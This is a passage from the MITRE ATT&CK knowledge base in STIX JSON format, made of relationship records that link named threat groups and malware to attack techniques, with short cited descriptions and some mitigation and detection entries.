Typhoon](https://attack.mitre.org/groups/G1017) has obtained a screenshot of the victim's system using the gdi32.dll and gdiplus.dll libraries.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--77fd0c13-d101-438a-a3fb-dfdcaa6e21ce","created":"2023-02-10T18:51:54.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:24:10.430Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can take a screenshot from an infected host.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78019dcb-e8d3-4c71-bad0-20f3e85968b2","created":"2022-10-19T20:39:00.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"},{"source_name":"Objective-See MacMa Nov 2021","description":"Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.","url":"https://objective-see.org/blog/blog_0x69.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T20:39:49.987Z","description":"[MacMa](https://attack.mitre.org/software/S1016) has used macOS API functions to perform tasks.(Citation: ESET DazzleSpy Jan 2022)(Citation: Objective-See MacMa Nov 2021)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7804d727-91bc-41bd-9b05-686d550e9e04","type":"relationship","created":"2020-03-19T23:37:02.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/gentilkiwi/mimikatz","description":"Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.","source_name":"Deply Mimikatz"},{"url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump","description":"Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.","source_name":"GitHub Mimikatz lsadump Module"},{"url":"https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/","description":"Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.","source_name":"Directory Services Internals DPAPI Backup Keys Oct 2015"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:46.056Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DPAPI.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)\t","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78073196-9fea-4d84-a457-6b51afb71ed1","type":"relationship","created":"2020-11-02T19:03:11.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"VirusBulletin Kimsuky October 2019","url":"https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/","description":"Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."},{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-10T14:39:18.775Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has compromised email accounts to send spearphishing e-mails.(Citation: VirusBulletin Kimsuky October 2019)(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7807639f-cc9f-4b0a-9f01-8161cbb1fd53","created":"2022-07-18T18:57:50.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-09T15:50:46.507Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has placed a malicious payload in `%WINDIR%\\SYSTEM32\\oci.dll` so it would be sideloaded by the MSDTC service.(Citation: TrendMicro EarthLusca 2022) ","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7808fe28-aa6f-4e81-9029-8b95bec15ad3","type":"relationship","created":"2020-08-12T19:22:13.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-12T19:22:13.793Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can capture keystrokes on a compromised host.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--780cdc6b-9f3e-4b10-9110-b64e0e02922c","created":"2023-01-30T23:21:53.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:18:49.133Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can use HTTP for C2.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78160020-3c63-4e60-81f4-f6438bfbd6a4","created":"2024-01-17T19:49:03.452Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T20:45:49.387Z","description":"The [Ninja](https://attack.mitre.org/software/S1100) loader component can decrypt and decompress the payload.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7826256e-62c5-4580-80f0-3dae2916f4bd","created":"2024-01-22T21:44:44.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T21:34:28.441Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used `WinExec` to execute commands received from C2 on compromised hosts.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--782da600-bc3b-4dae-89d1-4a79522bed02","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.537Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware communicates with its C2 server via HTTPS.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--782ee381-61f2-4405-b399-9faa99d00fea","type":"relationship","created":"2021-07-06T23:02:53.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.463Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7833393c-1a00-432b-beed-8225f754a5bd","type":"relationship","created":"2020-10-16T13:39:46.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T17:53:50.951Z","description":"Train users to be suspicious about certificate errors. Adversaries may use their own certificates in an attempt to intercept HTTPS traffic. Certificate errors may arise when the application’s certificate does not match the one expected by the host.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--783b7e83-90ee-4628-80a5-c087258290ab","type":"relationship","created":"2020-12-29T21:32:28.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."}],"modified":"2020-12-29T21:32:28.174Z","description":"[Egregor](https://attack.mitre.org/software/S0554) can enumerate all connected drives.(Citation: NHS Digital Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--783be033-9c1b-4c44-a949-d120b0871d7c","type":"relationship","created":"2021-07-07T02:07:24.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.673Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--783e717c-f94d-4f3b-a067-0c9af7dce809","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor executed commands and arguments for actions that are associated with account creation, such as net user or useradd","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--783f71a1-8a2b-4dbe-9011-a24042f36c88","created":"2023-09-20T19:16:17.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-20T19:31:17.921Z","description":"\n[AsyncRAT](https://attack.mitre.org/software/S1087) can hide the execution of scheduled tasks using `ProcessWindowStyle.Hidden`.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7840f5de-3b13-486c-bde2-7ffc73998010","type":"relationship","created":"2020-10-01T13:33:13.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-10-01T13:33:13.842Z","description":"[Anchor](https://attack.mitre.org/software/S0504) has been signed with valid certificates to evade detection by security tools.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--784ac574-4c0d-485e-ae56-63d3b88e383f","created":"2024-01-11T20:02:57.605Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-11T20:02:57.605Z","description":"[Ninja](https://attack.mitre.org/software/S1100) has the ability to modify headers and URL paths to hide malicious traffic in HTTP requests.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--785abba4-fdb4-4aad-9049-5a0c748cc965","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2020-03-17T02:49:53.555Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--785b597e-cd9b-4598-80d9-51f060b27f0a","created":"2024-03-13T20:25:31.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T21:04:51.630Z","description":"[Malteiro](https://attack.mitre.org/groups/G1026) has utilized a dropper containing malicious VBS scripts.(Citation: SCILabs Malteiro 2021)","relationship_type":"uses","source_ref":"intrusion-set--bf668120-e9a6-4017-a014-bfc0f5232656","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--785d0d93-1500-40b5-9f71-9d51aadef914","type":"relationship","created":"2020-06-10T20:19:59.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.652Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to detect anti-virus products and processes on a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--785e8778-84d2-46a5-b96a-ea71b1adc650","created":"2023-08-14T14:41:21.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T14:31:55.000Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) has the ability to load a second stage malicious DLL file onto a compromised machine.(Citation: Gigamon BADHATCH Jul 2019) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--78601356-fa8e-47f5-b5ad-01549bac169f","created":"2024-06-10T17:51:07.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress INC Ransomware May 2024","description":"Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/lolbin-to-inc-ransomware"},{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T19:08:47.063Z","description":"\n[INC Ransom](https://attack.mitre.org/groups/G1032) has used AnyDesk and PuTTY on compromised systems.(Citation: Huntress INC Ransom Group August 2023)(Citation: SOCRadar INC Ransom January 2024)(Citation: Huntress INC Ransomware May 2024)(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--78617eb0-f679-48ad-82ca-3a85d0f9371e","created":"2022-03-22T17:21:33.283Z","x_mitre_version":"1.0","external_references":[{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ROKRAT](https://attack.mitre.org/software/S0240) relies on a specific victim hostname to execute and decrypt important strings.(Citation: Volexity InkySquid RokRAT August 2021)","modified":"2022-04-18T13:04:29.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78665233-dd3d-4a86-981f-4342e4e0cbee","type":"relationship","created":"2020-08-19T17:34:47.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-09-02T21:40:20.930Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has used AES ciphertext to encode C2 communications.(Citation: Unit42 RDAT July 